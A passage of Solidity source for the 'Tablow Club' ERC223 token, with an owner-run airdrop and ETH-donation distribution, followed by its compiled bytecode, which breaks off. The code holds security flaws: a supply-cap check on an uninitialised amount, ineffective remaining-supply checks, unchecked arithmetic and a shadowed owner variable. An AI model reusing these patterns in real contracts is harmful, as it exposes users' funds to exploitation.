function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data){
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/**
* ERC23 token by Dexaran
*
* https://github.com/Dexaran/ERC23-tokens
*/
/* https://github.com/LykkeCity/EthereumApiDotNetCore/blob/master/src/ContractBuilder/contracts/token/SafeMath.sol */
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert(x <= MAX_UINT256 - y);
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert(x >= y);
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) return 0;
assert(x <= MAX_UINT256 / y);
return x * y;
}
}
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
assert(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
assert(!halted);
_;
}
modifier onlyInEmergency {
assert(halted);
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Tablow is ERC223, SafeMath, Haltable {
mapping(address => uint) balances;
string public symbol = "TC";
string public name = "Tablow Club";
uint8 public decimals = 18;
uint256 _totalSupply = 0;
uint256 _MaxDistribPublicSupply = 0;
uint256 _OwnerDistribSupply = 0;
uint256 _CurrentDistribPublicSupply = 0;
uint256 _FreeTokens = 0;
uint256 _Multiplier1 = 2;
uint256 _Multiplier2 = 3;
uint256 _LimitMultiplier1 = 4e15;
uint256 _LimitMultiplier2 = 8e15;
uint256 _HighDonateLimit = 5e16;
uint256 _BonusTokensPerETHdonated = 0;
address _DistribFundsReceiverAddress = 0;
address _remainingTokensReceiverAddress = 0;
address owner = 0;
bool setupDone = false;
bool IsDistribRunning = false;
bool DistribStarted = false;
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _owner, uint256 _value);
mapping(address => mapping(address => uint256)) allowed;
mapping(address => bool) public Claimed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Tablow() public {
owner = msg.sender;
}
function() public payable {
if (IsDistribRunning) {
uint256 _amount;
if (((_CurrentDistribPublicSupply + _amount) > _MaxDistribPublicSupply) && _MaxDistribPublicSupply > 0) revert();
if (!_DistribFundsReceiverAddress.send(msg.value)) revert();
if (Claimed[msg.sender] == false) {
_amount = _FreeTokens * 1e18;
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
Claimed[msg.sender] = true;
}
require(msg.value <= _HighDonateLimit);
if (msg.value >= 1e15) {
if (msg.value >= _LimitMultiplier2) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier2;
} else {
if (msg.value >= _LimitMultiplier1) {
_amount = msg.value * _BonusTokensPerETHdonated * _Multiplier1;
} else {
_amount = msg.value * _BonusTokensPerETHdonated;
}
}
_CurrentDistribPublicSupply += _amount;
balances[msg.sender] += _amount;
_totalSupply += _amount;
Transfer(this, msg.sender, _amount);
}
} else {
revert();
}
}
function SetupToken(string tokenName, string tokenSymbol, uint256 BonusTokensPerETHdonated, uint256 MaxDistribPublicSupply, uint256 OwnerDistribSupply, address remainingTokensReceiverAddress, address DistribFundsReceiverAddress, uint256 FreeTokens) public {
if (msg.sender == owner && !setupDone) {
symbol = tokenSymbol;
name = tokenName;
_FreeTokens = FreeTokens;
_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
_MaxDistribPublicSupply = MaxDistribPublicSupply * 1e18;
if (OwnerDistribSupply > 0) {
_OwnerDistribSupply = OwnerDistribSupply * 1e18;
_totalSupply = _OwnerDistribSupply;
balances[owner] = _totalSupply;
_CurrentDistribPublicSupply += _totalSupply;
Transfer(this, owner, _totalSupply);
}
_DistribFundsReceiverAddress = DistribFundsReceiverAddress;
if (_DistribFundsReceiverAddress == 0) _DistribFundsReceiverAddress = owner;
_remainingTokensReceiverAddress = remainingTokensReceiverAddress;
setupDone = true;
}
}
function SetupMultipliers(uint256 Multiplier1inX, uint256 Multiplier2inX, uint256 LimitMultiplier1inWei, uint256 LimitMultiplier2inWei, uint256 HighDonateLimitInWei) onlyOwner public {
_Multiplier1 = Multiplier1inX;
_Multiplier2 = Multiplier2inX;
_LimitMultiplier1 = LimitMultiplier1inWei;
_LimitMultiplier2 = LimitMultiplier2inWei;
_HighDonateLimit = HighDonateLimitInWei;
}
function SetBonus(uint256 BonusTokensPerETHdonated) onlyOwner public {
_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
}
function SetFreeTokens(uint256 FreeTokens) onlyOwner public {
_FreeTokens = FreeTokens;
}
function StartDistrib() public returns(bool success) {
if (msg.sender == owner && !DistribStarted && setupDone) {
DistribStarted = true;
IsDistribRunning = true;
} else {
revert();
}
return true;
}
function StopDistrib() public returns(bool success) {
if (msg.sender == owner && IsDistribRunning) {
if (_remainingTokensReceiverAddress != 0 && _MaxDistribPublicSupply > 0) {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
if (_remainingAmount > 0) {
balances[_remainingTokensReceiverAddress] += _remainingAmount;
_totalSupply += _remainingAmount;
Transfer(this, _remainingTokensReceiverAddress, _remainingAmount);
}
}
DistribStarted = false;
IsDistribRunning = false;
} else {
revert();
}
return true;
}
function distribution(address[] addresses, uint256 _amount) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
require(addresses.length <= 255);
require(_amount <= _remainingAmount);
_amount = _amount * 1e18;
for (uint i = 0; i < addresses.length; i++) {
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
}
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
uint256 _amount;
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
_amount = amounts[i] * 1e18;
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
}
function BurnTokens(uint256 amount) public returns(bool success) {
uint256 _amount = amount * 1e18;
if (balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
_totalSupply -= _amount;
Burn(msg.sender, _amount);
Transfer(msg.sender, 0, _amount);
} else {
revert();
}
return true;
}
function MaxDistribPublicSupply_() public constant returns(uint256 MaxDistribPublicSupply) {
return _MaxDistribPublicSupply;
}
function OwnerDistribSupply_() public constant returns(uint256 OwnerDistribSupply) {
return _OwnerDistribSupply;
}
function CurrentDistribPublicSupply_() public constant returns(uint256 CurrentDistribPublicSupply) {
return _CurrentDistribPublicSupply;
}
function RemainingTokensReceiverAddress() public constant returns(address remainingTokensReceiverAddress) {
return _remainingTokensReceiverAddress;
}
function DistribFundsReceiverAddress() public constant returns(address DistribfundsReceiver) {
return _DistribFundsReceiverAddress;
}
function Owner() public constant returns(address ownerAddress) {
return owner;
}
function SetupDone() public constant returns(bool setupDoneFlag) {
return setupDone;
}
function IsDistribRunningFalg_() public constant returns(bool IsDistribRunningFalg) {
return IsDistribRunning;
}
function totalSupply() public constant returns(uint256 totalSupplyValue) {
return _totalSupply;
}
function IsDistribStarted() public constant returns(bool IsDistribStartedFlag) {
return DistribStarted;
}
function approve(address _spender, uint256 _amount) public returns(bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
assert(balanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
assert(balanceOf(msg.sender) >= _value);
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
|
0x606060405236156101b5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610524578063095ea7b3146105b357806310eca9451461060d57806318160ddd1461065457806318d69faa1461067d5780631d1cc622146106aa5780632092970f146106d35780632cd3fd7014610700578063313ce5671461073b57806333a581d21461076a5780634d9a81d4146107935780635ed7ca5b146107c057806370a08231146107d557806374c77b521461082257806380ea8273146109245780638da5cb5b1461094757806390c6d1b91461099c57806395d89b41146109bf578063a8c310d514610a4e578063a9059cbb14610ae8578063accbdfd014610b42578063b449c24d14610b6f578063b4a99a4e14610bc0578063b9b8af0b14610c15578063be45fd6214610c42578063becf917f14610cdf578063c21bbe5614610d34578063c52cb00314610d61578063cb3e64fd14610d8a578063d21ceba014610d9f578063d8489a8114610df4578063dd62ed3e14610e1d578063e58fc54c14610e89578063f2fde38b14610eda578063f3e4877c14610f13575b5b6000601260159054906101000a900460ff161561051b5760065481600854011180156101e457506000600654115b156101ee57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561025057600080fd5b60001515601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156103e357670de0b6b3a76400006009540290508060086000828254019250508190555080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806005600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36001601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600e5434111515156103f457600080fd5b66038d7ea4c680003410151561051657600d543410151561041f57600b54600f543402029050610443565b600c543410151561043a57600a54600f543402029050610442565b600f54340290505b5b8060086000828254019250508190555080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806005600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b610520565b600080fd5b5b50005b341561052f57600080fd5b610537610f76565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105785780820151818401525b60208101905061055c565b50505050905090810190601f1680156105a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105be57600080fd5b6105f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061101f565b604051808215151515815260200191505060405180910390f35b341561061857600080fd5b6106526004808035906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050611112565b005b341561065f57600080fd5b61066761119a565b6040518082815260200191505060405180910390f35b341561068857600080fd5b6106906111a5565b604051808215151515815260200191505060405180910390f35b34156106b557600080fd5b6106bd6113c9565b6040518082815260200191505060405180910390f35b34156106de57600080fd5b6106e66113d4565b604051808215151515815260200191505060405180910390f35b341561070b57600080fd5b61072160048080359060200190919050506114a5565b604051808215151515815260200191505060405180910390f35b341561074657600080fd5b61074e61160d565b604051808260ff1660ff16815260200191505060405180910390f35b341561077557600080fd5b61077d611625565b6040518082815260200191505060405180910390f35b341561079e57600080fd5b6107a6611649565b604051808215151515815260200191505060405180910390f35b34156107cb57600080fd5b6107d3611661565b005b34156107e057600080fd5b61080c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116dc565b6040518082815260200191505060405180910390f35b341561082d57600080fd5b610922600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611726565b005b341561092f57600080fd5b6109456004808035906020019091905050611a57565b005b341561095257600080fd5b61095a611abf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109a757600080fd5b6109bd6004808035906020019091905050611ae4565b005b34156109ca57600080fd5b6109d2611b4c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a135780820151818401525b6020810190506109f7565b50505050905090810190601f168015610a405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610a5957600080fd5b610ae660048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611bf5565b005b3415610af357600080fd5b610b28600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611e28565b604051808215151515815260200191505060405180910390f35b3415610b4d57600080fd5b610b55611e6c565b604051808215151515815260200191505060405180910390f35b3415610b7a57600080fd5b610ba6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e84565b604051808215151515815260200191505060405180910390f35b3415610bcb57600080fd5b610bd3611ea4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610c2057600080fd5b610c28611ecf565b604051808215151515815260200191505060405180910390f35b3415610c4d57600080fd5b610cc5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611ee2565b604051808215151515815260200191505060405180910390f35b3415610cea57600080fd5b610cf2611f1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610d3f57600080fd5b610d47611f49565b604051808215151515815260200191505060405180910390f35b3415610d6c57600080fd5b610d74611f61565b6040518082815260200191505060405180910390f35b3415610d9557600080fd5b610d9d611f6c565b005b3415610daa57600080fd5b610db2611fff565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610dff57600080fd5b610e0761202a565b6040518082815260200191505060405180910390f35b3415610e2857600080fd5b610e73600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612035565b6040518082815260200191505060405180910390f35b3415610e9457600080fd5b610ec0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120bd565b604051808215151515815260200191505060405180910390f35b3415610ee557600080fd5b610f11600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122d4565b005b3415610f1e57600080fd5b610f746004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190919050506123ac565b005b610f7e612b54565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110145780601f10610fe957610100808354040283529160200191611014565b820191906000526020600020905b815481529060010190602001808311610ff757829003601f168201915b505050505090505b90565b600081601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561116e57600080fd5b84600a8190555083600b8190555082600c8190555081600d8190555080600e819055505b5b5050505050565b600060055490505b90565b600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156112115750601260159054906101000a900460ff165b156113bb576000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561126157506000600654115b1561138057600854600654039050600081111561137f578060016000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600560008282540192505081905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b6000601260166101000a81548160ff0219169083151502179055506000601260156101000a81548160ff0219169083151502179055506113c0565b600080fd5b600191505b5090565b600060085490505b90565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156114405750601260169054906101000a900460ff16155b80156114585750601260149054906101000a900460ff165b15611498576001601260166101000a81548160ff0219169083151502179055506001601260156101000a81548160ff02191690831515021790555061149d565b600080fd5b600190505b90565b600080670de0b6b3a76400008302905080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156115fd5780600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806005600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a260003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611602565b600080fd5b600191505b50919050565b6000600460009054906101000a900460ff1690505b90565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000601260169054906101000a900460ff1690505b90565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116bd57600080fd5b6001600060146101000a81548160ff0219169083151502179055505b5b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156117905750601260149054906101000a900460ff16155b15611a4c5786600290805190602001906117ab929190612b68565b5087600390805190602001906117c2929190612b68565b508060098190555085600f81905550670de0b6b3a76400008502600681905550600084111561190957670de0b6b3a7640000840260078190555060075460058190555060055460016000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600554600860008282540192505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040518082815260200191505060405180910390a35b81601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156119ef57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b82601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601260146101000a81548160ff0219169083151502179055505b5b5050505050505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ab357600080fd5b80600f819055505b5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4057600080fd5b806009819055505b5b50565b611b54612b54565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611bea5780601f10611bbf57610100808354040283529160200191611bea565b820191906000526020600020905b815481529060010190602001808311611bcd57829003601f168201915b505050505090505b90565b6000806000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c5657600080fd5b60085460065403925060ff855111151515611c7057600080fd5b83518551141515611c8057600080fd5b600090505b84518160ff161015611e1f57670de0b6b3a7640000848260ff16815181101515611cab57fe5b90602001906020020151029150828211151515611cc757600080fd5b816008600082825401925050819055508160016000878460ff16815181101515611ced57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008282540192505081905550848160ff16815181101515611d5f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600654600854101515611e11576000601260166101000a81548160ff0219169083151502179055506000601260156101000a81548160ff0219169083151502179055505b5b8080600101915050611c85565b5b5b5050505050565b6000611e32612be8565b611e3b846125b8565b15611e5257611e4b8484836125e1565b9150611e65565b611e5d848483612904565b9150611e65565b5b5092915050565b6000601260159054906101000a900460ff1690505b90565b60146020528060005260406000206000915054906101000a900460ff1681565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b90565b600060149054906101000a900460ff1681565b6000611eed846125b8565b15611f0457611efd8484846125e1565b9050611f17565b611f0f848484612904565b9050611f17565b5b9392505050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b90565b6000601260149054906101000a900460ff1690505b90565b600060075490505b90565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fc857600080fd5b600060149054906101000a900460ff161515611fe057fe5b60008060146101000a81548160ff0219169083151502179055505b5b5b565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b90565b600060065490505b90565b6000601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b6000806000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561211e57600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156121c457600080fd5b6102c65a03f115156121d557600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156122ae57600080fd5b6102c65a03f115156122bf57600080fd5b5050506040518051905092505b5b5050919050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561233057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156123a757806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561240b57600080fd5b60085460065403915060ff84511115151561242557600080fd5b81831115151561243457600080fd5b670de0b6b3a764000083029250600090505b835181101561256c5781831115151561245e57600080fd5b826008600082825401925050819055508260016000868481518110151561248157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508260056000828254019250508190555083818151811015156124f057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8080600101915050612446565b6006546008541015156125b0576000601260166101000a81548160ff0219169083151502179055506000601260156101000a81548160ff0219169083151502179055505b5b5b50505050565b600080823b905060008111156125d157600191506125db565b600091506125db565b5b50919050565b600080836125ee336116dc565b101515156125f857fe5b61260a612604336116dc565b85612afe565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061265f612659866116dc565b85612b18565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156127685780820151818401525b60208101905061274c565b50505050905090810190601f1680156127955780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156127b557600080fd5b6102c65a03f115156127c657600080fd5b505050826040518082805190602001908083835b60208310151561280057805182525b6020820191506020810190506020830392506127da565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ff